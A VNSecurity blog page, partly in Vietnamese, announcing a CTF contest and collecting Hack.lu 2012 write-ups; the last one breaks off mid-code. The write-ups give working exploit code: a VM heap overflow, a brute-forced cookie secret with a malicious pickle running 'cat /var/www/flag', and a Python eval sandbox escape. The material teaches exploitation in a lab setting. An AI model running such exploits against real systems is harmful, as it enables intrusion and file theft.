Snatching The H@t
November 25, 2012 by admin · Leave a Comment
Nhận lời mời từ IDG, VNSecurity đồng ý đứng ra phối hợp tổ chức cuộc thi “Snatching the h@t” như một sự kiện trong khuôn khổ hội thảo CSO Asean năm 2012 với mong muốn giới thiệu và phát triển CTF như một hình thức học tập và thể hiện khả năng lành mạnh đến cộng đồng. VNSecurity là nhóm được biết đến rộng rãi trong giới nghiên cứu an toàn thông tin thực thụ tại Việt nam và thế giới. Các thành viên chủ chốt của nhóm là những chuyên gia uy tín về an ninh thông tin trong và ngoài nước, các kết quả nghiên cứu của họ thường được vinh danh và công bố tại nhiều cuộc hội thảo uy tín trên thế giới: Blackhat, Hitb, Pacsec, Deepsec, Syscan … Đội thi đấu CLGT của VNSecurity cũng nằm trong top những đội CTF hàng đầu trên thế giới
Về cuộc thi Snatching the h@t
Cuộc thi “Snatching the h@t” năm nay sẽ bao gồm 2 vòng: vòng loại và vòng chung kết. Vòng loại được thi đấu trực tuyến thông qua mạng Internet. Các đội đứng đầu ở vòng loại sẽ được tham gia thi đấu ở vòng chung kết tại khách sạn New World ở TP HCM. Các thông tin về cuộc thi, đơn vị bảo trợ,… xin vui lòng xem tại website của IDG tại http://cso.org.vn/contest
Hiện vòng loại của cuộc thi đang diễn ra được 1/2 thời gian với hơn 100 đội tham gia. Đội PiggyBird đến từ Hà Nội đang tạm dẫn đầu với 1800 điểm. Vòng loại dự kiến sẽ kết thúc vào lúc 09 giờ sáng thứ 2 26/11/2012, kéo dài thêm 12 tiếng so với dự kiến ban đầu do hệ thống website thi đấu bị tấn công DDoS và cần thời gian khắc phục.
Thông tin cần biết:
- Trang chủ thi đấu vòng loại: http://ctf.vnsecurity.net:8080/
- Bảng điểm hiện tại: http://ctf.vnsecurity.net:8080/scoreboard
- Kênh liên lạc trực tuyến với BTC: #vnsec trên irc.freenode.net (http://webchat.freenode.net)
Về hình thức thi đấu CTF
CTF – Môn thể thao trí tuệ của giới hacker!
CTF (Capture the Flag) là một cuộc thi kiến thức chuyên sâu về bảo mật máy tính, được tổ chức theo mô hình trò chơi chiến tranh mạng, tập trung vào hai kỹ năng tấn công và phòng thủ mạng máy tính của người chơi. Các đội tham gia CTF sẽ được cấp một máy chủ (hoặc một mạng máy chủ) đã cài đặt sẵn nhiều chương trình chứa các lỗ hổng bảo mật. Nhiệm vụ của đội chơi là tìm ra các lỗ hổng đó, tấn công các máy chủ của các đội khác để ghi điểm, đồng thời phải nhanh chóng vá các lỗ hổng trên máy chủ của đội nhà, để tránh bị tấn công bởi các đội khác.
CTF hấp dẫn và thu hút giới hacker bởi lẽ các cuộc thi này phản ánh rất chân thật công việc hàng ngày và đòi hỏi người chơi phải có các kỹ năng của một hacker thực thụ. Muốn chiến thắng ở một cuộc thi CTF, người chơi không chỉ phải nhuần nhuyễn các kỹ năng phát hiện và khai thác lỗ hổng bảo mật, mà còn phải thật sự lành nghề trong việc bảo vệ sự an toàn và duy trì tính liên tục của hệ thống mạng trước các đợt tấn công dồn dập từ bên ngoài.
Với cường độ và áp lực rất cao, cho nên mặc dù thể lệ CTF thường cho phép cá nhân tham gia nhưng chiến thắng thường thuộc về các đội có nhiều thành viên có trình độ cao và có khả năng “phối hợp tác chiến” hiệu quả.
Các cuộc thi CTF ngày nay thường chia thành 3 hình thức chơi chính:
- Tấn công & phòng thủ (attack & defence) như luật chơi cổ điển ban đầu.
- Hình thức thứ 2 là trả lời thử thách theo từng chủ đề (Jeopardy-style). Hình thức này thông thường sẽ chia theo chủ đề được phân theo các phân mục như : Web, Forensic, Crypto, Binary, Pwnable… Ở mỗi phân mục sẽ có các câu hỏi theo độ khó tăng dần.
- Hình thức thứ 3 là sự kết hợp của hình thức 1 và 2, chẳng hạn như kết hợp giữa hình thức chỉ có tấn công (attack only) với các dạng thử thách khác nhau. Đây cũng chính là hình thức của cuộc thi Snatching the h@t năm nay.
Việc tham gia thi đấu các kỳ CTF cũng là dịp để giúp học hỏi thêm nhiều kinh nghiệm và kiến thức bổ ích. Lịch sử CTF đã ghi nhận sự tham gia của rất nhiều hacker trẻ mà sau này đã trở thành những chuyên gia bảo mật tên tuổi trên thế giới.
[writeup] Hacklu 2012 – Challenge #6 – BrainGathering – (500)
October 26, 2012 by suto · Leave a Comment
I did not solve this during CTF and my mistake is not using IDA to decompile since it has some obfuscate.
After CTF end, i use gdb to dump running process to binary file and
analyze it again, try to finish it.
gdb –pid [PID]
gdb>info proc
process 4660gdb>shell cat /proc/4660/maps
08048000-0804a000 rwxp 00000000 08:03 7213513gdb>dump out.dmp 0×08048000 0×0804a000
Load it to IDA and decompile. Basically it will loop and get an OPCODE
from static array locate at address 0×804B060, and a action defined
by that OPCODE will be run.
Just thinking a bit, when we input 0×36 bytes it will end up with a message:
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!X) Nah, I’m going to get my brains somewhere else.
3
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
XPLOIT DETECTED, ALTERING KILLCODE
In normal case when our string < 0×36 bytes length:
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!X) Nah, I’m going to get my brains somewhere else.
3
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
hello
Comparing k1llc0d3
INVALID==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready
It continue. So i think it must be a different when this vm handle
our string. The execution flow will different in 2 cases. Let find out:
I set a breakpoint and print at 0×0804865B where it get OPCODE and put it
in to EAX register.
b *0×0804865B
commands 1
p/x $ebx
p/x $eax
continue
end
Compare 2 results I have found where the execution alter:
First one is “B”*0×36:
0×081ea147 71
0×081ea148 82
0×081ea149 14
0×081ea14a 53
0×081ea14d 81
0×081ea14e 40
0×081ea150 74
0×081ea151 41
0×081ea152 86
0×081ea153 68
0×081ea154 74
0×081ea155 58
0×081ea4f3 3d
0×081ea4f6 81
0×081ea4f7 3f
0×081ea4f9 53
0×081ea4fc 28
In normal case:
0×08515147 71
0×08515148 82
0×08515149 14
0×0851514a 53
0×0851514d 81
0×0851514e 40
0×08515150 74
0×08515151 41
0×08515152 86
0×08515153 68
0×08515154 74
0×08515155 58
0×0851531d 58
0×08519149 53
0×0851914c 53
0×0851914f 53
0×08519152 53
The address in 2 case will same at offset, so we can compare easy.
It start different when handle OPCODE 0×58.
case 0×58:
v22 = *heap1_end2;
++heap1_end2;
PC += v22;
continue;
So v22 will change flow of execution because. I want to know why this happen:
gdb>b *0×080487DE
gdb>commands 2
>p/x $ebx
>continue
>end
And i end up with
…
..
Breakpoint 2, 0×080487de in close@plt ()
$12 = 0×4242
Yeah, so we can control v22. Let look into hex-rays source to see why this happen:
In OPCODE 0×3F
case 0×3F:
v40 = *PC++;
v41 = v4;
READ(v40, &PC[v61], 0xFFFF – (unsigned __int16)((_WORD)heap1_end2 – (_WORD)PC));
v4 = v41;
continue;
It will read our string to PC[v61] with a size result from calculation: 0xFFFF – (unsigned __int16)((_WORD)heap1_end2 – (_WORD)PC)
Since result from v22 we can understand an overflow occur, last 2 bytes of our string overwrite value at heap1_end2.
When OPCODE 0×58 is processed, PC will increase base on that 2 bytes.
Now the time for exploitation, first we need to calculate offset beetween PC at that time and our string.
gdb>b *0×080487DE if $ebx=0×4242
gdb>c
…..
gdb>x/20wx $edi-0×40
0×8343fb5: 0×00000000 0×00000000 0×00000000 0×00000000
0×8343fc5: 0×700e4242 0×00007010 0×00000000 0×42424242
0×8343fd5: 0×42424242 0×42424242 0×42424242 0×42424242
0×8343fe5: 0×42424242 0×00104242 0×7000ffc9 0×01e38010
0×8343ff5: 0×42424242 0×42424242 0×42424242 0×42424242
gdb> x/x $esp+0×2c
0xffe8648c: 0×08334008
gdb> p/x 0×8343fd5-0×08334008
$5 = 0xffcd
So just to confirm i’ll return to 0×40 ( write OPCODE) :
python -c ‘print “3″*34+”\x40″*41+”\xff\xcd”*7′ > file
And:
./braingathering < file
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!X) Nah, I’m going to get my brains somewhere else.
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3
INVALIDINVALID
INVALID
INVALID
INVALID
INVALID
INVALID
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
And make sure index of byte we can start our shellcode:
python -c ‘print “3″*34+”A”*6+”\x40″+”B”*34+”\xff\xcd”*7′ > file
./braingathering < file
Comparing k1llc0d3
INVALIDINVALID
In OPCODE 0×40:
case 0×40:
v36 = *PC++;
v37 = 2;
v63 = v4;
if ( v36 <= 1u )
v37 = v36;
v38 = v37;
len = STRLEN(&PC[v61]);
WRITE(v38, &PC[v61], len);
v4 = v63;
continue;
Finally. We findout where content of killcode existence in memory.
Let find where it is:
gdb-peda$ searchmem KILLCODE heap
Searching for ‘KILLCODE’ in: heap ranges
Found 1 results, display max 1 items:
[heap] : 0×838b008 (”KILLCODE\n## Warn”)
gdb-peda$ p/x 0×838b008-0×08383008
$1 = 0×8000
And we need to reset v61 to 0×8000 We use OPCODE 0×49
case 0×49:
v29 = PC[1];
v30 = *PC;
PC += 2;
v61 = (v29 << 8) | v30;
continue;
And final exploit ( so lucky since v61 has value 0 at that time)
$echo “FUKCING KILLCODE” > killcode
$python -c ‘print “3″*34+”A”*6+”\x49\x00\x80\x40″+”B”*31+”\xff\xcd”*7′ > file
./braingathering < file
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!X) Nah, I’m going to get my brains somewhere else.
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3
INVALIDFUKCING KILLCODE
and hex-rays source:
int __cdecl sub_80485E0()
{
BYTE *PC; // esi@1 MAPDST
int index; // eax@1
_WORD *heap1_end2; // edi@3
int v4; // edx@3
char opCode; // al@4
int v6; // ST3C_4@5
unsigned __int16 v7; // ax@6
int v8; // eax@11
int v9; // esi@12
__int16 v10; // si@15
__int16 v11; // ax@15
char v12; // si@16
int v13; // ecx@16
unsigned __int16 v14; // cx@19
char v15; // si@23
int v16; // eax@23
unsigned __int16 v17; // si@26
__int16 v18; // si@27
__int16 v19; // ax@27
char v20; // si@30
int v21; // eax@30
int v22; // ebx@33
__int16 v23; // si@36
__int16 v24; // ax@36
__int16 v25; // si@37
__int16 v26; // ax@37
__int16 v27; // si@38
__int16 v28; // cx@38
__int16 v29; // ax@39
__int16 v30; // cx@39
__int16 v31; // si@45
__int16 v32; // ax@45
int v33; // ST3C_4@47
int v34; // ST3C_4@48
unsigned __int16 v35; // ax@48
unsigned __int16 v36; // si@50
signed int v37; // eax@50
signed int v38; // ST40_4@52
int len; // eax@52
unsigned __int16 v40; // si@53
int v41; // ST3C_4@53
__int16 v42; // si@54
unsigned __int16 v43; // ax@54
__int16 v44; // si@55
__int16 v45; // ax@55
__int16 v46; // si@57
__int16 v47; // ax@57
BYTE v48; // si@59
int v49; // ecx@59
int v50; // eax@63
__int16 v51; // si@67
unsigned __int16 v52; // ax@67
BYTE v53; // si@77
int v54; // ecx@77
__int16 v55; // si@80
__int16 v56; // ax@80
char v57; // si@82
int v58; // eax@82
int v59; // eax@85
unsigned __int16 v61; // [sp+1Eh] [bp-42h]@3
int v63; // [sp+3Ch] [bp-24h]@50
BYTE *heap1_end1; // [sp+44h] [bp-1Ch]@3
unsigned __int16 v65; // [sp+48h] [bp-18h]@3
unsigned __int16 v66; // [sp+4Ah] [bp-16h]@3
PC = (BYTE *)malloc_(65535);
memset_((int)PC, 0, 65535);
index = 0;
do
{
PC[index] = byte_804B060[index];
++index;
}
while ( index != 2068 );
heap1_end1 = PC + 65535;
heap1_end2 = PC + 65535;
v4 = 0;
v65 = 0;
v66 = 0;
v61 = 0;
while ( 1 )
{
opCode = *PC++;
switch ( opCode )
{
default:
continue;
case 0x90:
v6 = v4;
sleep_();
v4 = v6;
continue;
case 0x86:
v7 = *heap1_end2;
++heap1_end2;
v65 = v7;
continue;
case 0x82:
if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
goto terminate_;
--heap1_end2;
*heap1_end2 = v65;
continue;
case 0x81:
v61 = (_WORD)heap1_end2 - (_WORD)PC;
continue;
case 0x7B:
v8 = v4 & 0x1FFF;
if ( v66 == v65 )
{
v4 &= 0x1FFFu;
BYTE1(v4) |= 0x20u;
v65 = v66;
}
else
{
HIWORD(v9) = HIWORD(v4);
LOWORD(v4) = v8 | 0x8000;
if ( v66 >= v65 )
{
LOWORD(v9) = v8 | 0x4000;
v4 = v9;
}
}
continue;
case 0x79:
v10 = PC[1];
v11 = *PC;
PC += 2;
v65 -= (v10 << 8) | v11;
continue;
case 0x75:
v12 = *PC++;
v13 = v4 | 0x8000;
LOWORD(v4) = v4 & 0x7FFF;
if ( v12 )
v4 = v13;
continue;
case 0x74:
v14 = *heap1_end2;
++heap1_end2;
v61 = v14;
continue;
case 0x71:
if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
goto terminate_;
--heap1_end2;
*heap1_end2 = v66;
continue;
case 0x69:
v15 = *PC++;
v16 = v4 | 0x40;
v4 &= 0xFFFFFFBFu;
if ( v15 )
v4 = v16;
continue;
case 0x68:
v17 = *heap1_end2;
++heap1_end2;
v66 = v17;
continue;
case 0x66:
v18 = PC[1];
v19 = *PC;
PC += 2;
v66 = (v18 << 8) | v19;
continue;
case 0x61:
v61 ^= (unsigned __int16)(PC[1] << 8) | *PC;
goto LABEL_29;
case 0x5C:
v20 = *PC++;
v21 = v4 | 0x20;
v4 &= 0xFFFFFFDFu;
if ( v20 )
v4 = v21;
continue;
case 0x58:
v22 = *heap1_end2;
++heap1_end2;
PC += v22;
continue;
case 0x53:
if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
goto terminate_;
v23 = PC[1];
--heap1_end2;
v24 = *PC;
PC += 2;
*heap1_end2 = (v23 << 8) | v24;
continue;
case 0x4F:
v25 = PC[1];
v26 = *PC;
PC += 2;
v61 += (v25 << 8) | v26;
continue;
case 0x4B:
v27 = PC[1];
v28 = *PC;
PC += 2;
v65 = (v27 << 8) | v28;
continue;
case 0x49:
v29 = PC[1];
v30 = *PC;
PC += 2;
v61 = (v29 << 8) | v30;
continue;
case 0x47:
if ( (v4 & 0x2010) == 8208 || v4 & 0x40 && (unsigned __int16)v4 >> 15 || (v4 & 0x4020) == 16416 )
PC += *PC | (PC[1] << 8);
else
LABEL_29:
PC += 2;
continue;
case 0x45:
v31 = PC[1];
v32 = *PC;
PC += 2;
v65 += (v31 << 8) | v32;
continue;
case 0x43:
if ( v61 > 2u )
{
v33 = v4;
close_(v61);
v4 = v33;
}
continue;
case 0x42:
v34 = v4;
v35 = OPEN(&PC[v61], 0);
v4 = v34;
v61 = v35;
continue;
case 0x41:
v4 = *heap1_end2;
++heap1_end2;
continue;
case 0x40:
v36 = *PC++;
v37 = 2;
v63 = v4;
if ( v36 <= 1u )
v37 = v36;
v38 = v37;
len = STRLEN(&PC[v61]);
WRITE(v38, &PC[v61], len);
v4 = v63;
continue;
case 0x3F:
v40 = *PC++;
v41 = v4;
READ(v40, &PC[v61], 0xFFFF - (unsigned __int16)((_WORD)heap1_end2 - (_WORD)PC));
v4 = v41;
continue;
case 0x3D:
v42 = PC[1];
v43 = *PC;
PC += 2;
heap1_end2 = (char *)heap1_end2 - ((unsigned __int16)(v42 << 8) | v43);
continue;
case 0x3A:
v44 = PC[1];
v45 = *PC;
PC += 2;
v61 -= (v44 << 8) | v45;
continue;
case 0x39:
v61 += v66;
continue;
case 0x36:
v46 = PC[1];
v47 = *PC;
PC += 2;
v66 += (v46 << 8) | v47;
continue;
case 0x33:
v66 = (_WORD)heap1_end2 - (_WORD)PC;
continue;
case 0x31:
v48 = *PC;
v49 = v4;
++PC;
BYTE1(v49) |= 0x20u;
BYTE1(v4) &= 0xDFu;
if ( v48 )
v4 = v49;
continue;
case 0x30:
*(_WORD *)&PC[v61] = v66;
continue;
case 0x2C:
v50 = v4 & 0x1FFF;
if ( v61 == v65 )
{
v4 &= 0x1FFFu;
BYTE1(v4) |= 0x20u;
v65 = v61;
}
else
{
LOWORD(v4) = v50 | 0x8000;
BYTE1(v50) |= 0x40u;
if ( v61 >= v65 )
v4 = v50;
}
continue;
case 0x28:
v51 = PC[1];
v52 = *PC;
PC += 2;
heap1_end2 = (char *)heap1_end2 + ((unsigned __int16)(v51 << 8) | v52);
continue;
case 0x27:
if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
goto terminate_;
--heap1_end2;
*heap1_end2 = (_WORD)PC + 2 - (_WORD)PC;
PC += (unsigned __int16)(PC[1] << 8) | *PC;
break;
case 0x25:
v61 -= v66;
break;
case 0x24:
v65 = (_WORD)heap1_end2 - (_WORD)PC;
break;
case 0x21:
v61 = *(_WORD *)&PC[v66];
break;
case 0x20:
if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
{
terminate_:
put_("VM PROTECTION FAIL, TERMINATING");
exit_(1);
}
--heap1_end2;
*heap1_end2 = v61;
break;
case 0x17:
v53 = *PC;
v54 = v4;
++PC;
BYTE1(v54) |= 0x40u;
BYTE1(v4) &= 0xBFu;
if ( v53 )
v4 = v54;
break;
case 0x16:
v55 = PC[1];
v56 = *PC;
PC += 2;
v66 -= (v55 << 8) | v56;
break;
case 0x14:
--heap1_end2;
*heap1_end2 = v4;
break;
case 0xD:
v57 = *PC++;
v58 = v4 | 0x10;
v4 &= 0xFFFFFFEFu;
if ( v57 )
v4 = v58;
break;
case 0xA:
v59 = v4 & 0x1FFF;
if ( v61 == v66 )
{
v4 &= 0x1FFFu;
BYTE1(v4) |= 0x20u;
v66 = v61;
}
else
{
v4 &= 0x1FFFu;
BYTE1(v59) |= 0x40u;
LOWORD(v4) = v4 | 0x8000;
if ( v66 <= v61 )
v4 = v59;
}
break;
case 0xFF:
return 0;
}
}
}
[writeup] Hacklu 2012 – Challenge #19 – Zombie Reminder – (200)
October 25, 2012 by pdah · Leave a Comment
19 – Zombie Reminder
Zombies love brains. But zombies forget, so they have a tool where they can enter the location of brains they found. In a heroic mission someone managed to obtain both the source code and the information that a critical file can be found at ‘/var/www/flag’.
Your mission is to obtain the contents of this file by any means and avenge your fallen friend!
Service: https://ctf.fluxfingers.net:2073/
Source: https://ctf.fluxfingers.net/challenges/zombie_reminder.py
This challenge is a web application returning an arbitrary text that inputed by you previously. Your input is stored in “location” cookie with format of “<hash_digest>!<encoded_input>” where:
- encoded_input = base64_encode(pickle.dumps(your_input))
- hash_digest = sha256(encoded_input+secret_key)
When you go back to the main page, if a valid cookie is set the application will load the pickle object from cookie and print it out.
location = pickle.loads(b64d(location))
The purpose of hash_digest is to ensure that your_input is a string submitted through challenge’s web form. However this design has 2 major flaws:
- secret_key is too short (5 characters)
- pickle has a known security issue (http://nadiana.com/python-pickle-insecure)
We submit a random string (let’s say “test”) and look at the cookie:
location=”04b098d726754c810c65595a82dd42a9564ce332fd51c0da2a43bbdd42a91f37!VnRlc3QKcDAKLg==”
We use this script to bruteforce the secret key :
#!/usr/bin/env python
import multiprocessing
from hashlib import *
import string
import sys
s = string.ascii_letters + string.digits
location = "VnRlc3QKcDAKLg=="
digest = "04b098d726754c810c65595a82dd42a9564ce332fd51c0da2a43bbdd42a91f37"
print len(s)
WORKERS = 8
def worker(start,end):
for i1 in s[start:end]:
for i2 in s:
for i3 in s:
for i4 in s:
for i5 in s:
secret = i1+i2+i3+i4+i5
if sha256("%s%s" % (location, secret)).hexdigest() == digest:
print "*******", secret
sys.exit(0)
def main():
ps = []
for i in range(WORKERS):
if i == WORKERS -1:
tmp = multiprocessing.Process(target=worker, args=(i*(len(s)/WORKERS),len(s),))
else:
tmp = multiprocessing.Process(target=worker, args=(i*(len(s)/WORKERS),(i+1)*(len(s)/WORKERS),))
tmp.start()
ps.append(tmp)
for p in ps:
p.join()
return jobs.empty()
if __name__ == '__main__':
main()
After a few minutes we managed to find the key oIqxe. Our next task is to build a pickled representation of a python code object, the goal is to execute a code similar to this when pickle.loads() is called:
__import__("commands").getoutput("cat /var/www/flag")
This code is used to generate such serialized string:
import pickle, new
def nasty(module, function, *args):
return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())
t = nasty("commands", "getoutput", "cat /var/www/flag")
print repr(t)
# Output: "(S'cat /var/www/flag'\np1\nicommands\ngetoutput\np2\n(dp3\nb."
Now we have everything to get the flag, time to build a valid cookie:
from hashlib import sha256
import base64
b64e=base64.b64encode
secret = 'oIqxe'
location = b64e("(S'cat /var/www/flag'\np1\nicommands\ngetoutput\np2\n(dp3\nb.")
cookie = "%s!%s" % (sha256("%s%s" % (location, secret)).hexdigest(), location)
print cookie
Place this cookie into your browser (don’t ask us how to do that lolz) and refresh, the flag will be right on the screen.
Hello, here is what we remember for you. If you want to change, delete or extend it, click below
08ac40047dae3f6a36471d768dfcb1b7a8e18fb8
[writeup] Hacklu 2012 – Challenge #13 – The Sandbox Terminal
October 25, 2012 by w00d · Leave a Comment
Solved by w00d @ clgt
Thanks g4mm4 for giving many suggestions and draft the first version of the exploit
13 – The Sandboxed Terminal (400)
Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key.
https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py
In this ctf, I bumped into a few python challenges. Though having been using it for a while, I’m still a novice and pretty much ill-prepared, it took me a lot of time to read articles about python security. There are many interesting ones which I might write in a separate blog, however they do not help me much to solve this challenge, the only thing they help is to keep me motivated.
The python program consists of two parts:
- First part is the Detangle class which basically make a “sandbox” environment:
- You can not import anything.
- You can neither use “open” nor “file” command.
- It prints some nice debug information about what python command is executed and their arguments.
- Second part allows you to input 3 params: num1, num2 and operator. There are two regular expressions to check your input:
num_pattern = re.compile(r'^[\d]{0,4}$')
operator_pattern = re.compile(r'^[\W]+$')
...
if not num_pattern.match(num1) or not num_pattern.match(num2):
raise SystemExit('Number rejected')
if not operator_pattern.match(operator) or len(operator) > 1900:
raise SystemExit('Operator rejected')
- num1, num2 should only be number, 4 digits at most.
- operator should not contain any alphanumeric characters and its length must be at most 1900.
These input will be fed into some eval command as follow:
operator = eval(operator) if "'" in operator else operator print(eval(num1 + operator + num2))
For example, you can input “1″ , “2″ , “+”. The program will return “3″, simple as that.
Obviously, if someone tells you to exploit this program, first is to look at “eval” (i.e. “evil”) and try to exploit that. But it’s a difficult task because you can’t bypass the two regular expressions and input any python code, recall that you can only input number or non-alphanumberic character.
I tried several attempts and failed including some silly: trying to write a valid python code using unicode character, trying to overflow eval, trying to exploit Detangle, find a 0-day/1-day of re.match, ..
But failures teach you some lessons. I noticed that “operator” is eval-ed twice. That means after the first eval, we may be able to convert some non-alphanumberic character into python code and get it executed on the next one.
I started with this gadget: s = "(''=='')+(''=='')"(inside are two single quotes). Run eval(s) in a python terminal will return you number “2″. Using this gadget/similar kind we typically can create any number. Progress: 25% !
Now what about character ? It turned out that I can use backstick : ` ` as repr() which can give me some string that contains alpha-character, such as : `(''=='')` => “True”, `(''!='')` => “False”, moreover I can access each single character using square bracket : `(''=='')`[1] => ‘r’, or even better `'\xaa'`[3] => ‘a’. We now can create any of these: ‘abcdefxTruFls’. Progress: 50% !
I stopped looking at gadget, and started looking at how to bypass the Detangle class. It’s not hard as it look, though we can’t use “open” or “file” to open a file, can’t import anything, we can still use the built-in “execfile”. It does not allow us to run abitrary command but we can leak some info about the content of a file like this:
>>> execfile(”/etc/passwd”)
Traceback (most recent call last):
File “”, line 1, in
File “/etc/passwd”, line 1
root:x:0:0:root:/root:/bin/bash
^
SyntaxError: invalid syntax
Progress: 75% !!!!! ** so excited **
I need to read the file ‘key’ which makes the payload: “+execfile(’key’)+“. As you can see, It contains “k”,”y”,”i” that is not in my “magic” list. Luckily the force is with me, 5 minutes after seeing this problem, I come up with this awesome gadget: "%c"%(107) => “k”. Any character can be generated using this gadget, however producing the number 107 can consume a lot of characters if done naively.
The last thing is to make the payload as short as possible because the operator length is limited at 1900. Putting everything together, I am able to produce a 1650-bytes payload, far smaller than the limit! Now see how it work:
python exploit.py | nc ctf.fluxfingers.net 2060
…
Traceback (most recent call last):
File “./sandbox.py”, line 77, in
print(eval(num1 + operator + num2))
File “./sandbox.py”, line 45, in __call__
result = self.orig(*args, **kwargs)
File “”, line 1, in
File “./sandbox.py”, line 45, in __call__
result = self.orig(*args, **kwargs)
File “key”, line 1, in
dafuq_how_did_you_solve_this_nonalpha_thingy
NameError: name ‘dafuq_how_did_you_solve_this_nonalpha_thingy’ is not defined
Mission accomplished ! Beer time =]
exploit.py source code:
def makenumsmall(d):
gadget = "(''=='')"
rs = gadget
if (d==0): return rs+"-"+rs
if (d==1): return rs+"*"+rs
for i in range(1,d): rs += "+(''=='')"
return rs
def makenum(d):
if (d<5): return makenumsmall(d)
a = bin(d)[2:]
index = len(a) - 1
s = ""
for c in a:
if c == '1':
s+= "("+makenumsmall(1)+"<<"+makenumsmall(index)+")+"
index-=1
return s[0:-1]
def makechar(line):
return "('%'+`'"+chr(0xcc)+"'`["+str(makenum(3))+"])["+str(makenum(0))+":"+str(makenum(4))+"]%(" + makenum(line) + ")"
gd = {}
gd['x'] = "`'"+chr(0xcc)+"'`["+makenum(2)+"]"
gd['a'] = "`'"+chr(0xaa)+"'`["+makenum(3)+"]"
gd['b'] = "`'"+chr(0xbb)+"'`["+makenum(3)+"]"
gd['c'] = "`'"+chr(0xcc)+"'`["+makenum(3)+"]"
gd['d'] = "`'"+chr(0xdd)+"'`["+makenum(3)+"]"
gd['e'] = "`'"+chr(0xee)+"'`["+makenum(3)+"]"
gd['f'] = "`'"+chr(0xff)+"'`["+makenum(3)+"]"
a = "+execfile('key')+"
solo = [ord(i) for i in a]
#print solo
_sum = ''
import re
for line in solo:
if chr(line) in gd:
_gad = gd[chr(line)]
elif chr(line) == "'":
_gad = "'\\''"
elif re.match("\W",chr(line)):
_gad = "'"+chr(line)+"'"
else:
_gad = makechar(line)
_sum += "+" + _gad
_sum = _sum[1:]
#print len(_sum)
#print eval(eval(_sum))
print "1\n1\n"+_sum
[writeup] Hacklu 2012 – Challenge #10 (500)
October 25, 2012 by pdah · Leave a Comment
10 – zlotpy
Gambling time. Play against the Internet Zlot Machine at ctf.fluxfingers.net tcp/2053 This challenge has two stages.1) Medium: Investigate the contents of a saved game.
2) Hard: Get 8 (EIGHT) bonus points. Good luck! Hint: We have some sourcecode for you! https://ctf.fluxfingers.net/challenges/zlot.py
At the first sight, we thought this challenge was about Padding Oracle, but it turned out that Bit Flipping attack should be enough to solve.
First step is to send ‘S’ and get back the ciphertext representing current game state
Welcome to the Internet ZlotMachine. Enter ‘T’ for the Tutorial.
Your current balance is 5 credits and 1 bonus
S
Your games has been saved! Please write down the following save game code.
WVIagr4eWOGCHi/CSQg1oKEgZneHnJJIm5LJjJeacngsTG1hm9jfygT6ZpBrsFihNKoef165OP2pb+tacn+9FlV+CfKjelFHS4MykxpJcYk=
This game may later be loaded with L
If we send this cipher back to the server, it will return “Your current balance is 5 credits and 1 bonus”
The code below will loop throuth each byte of the cipher text, increase the value by one and ask the server to load that newly created gamestate.
s = socket(AF_INET, SOCK_STREAM)
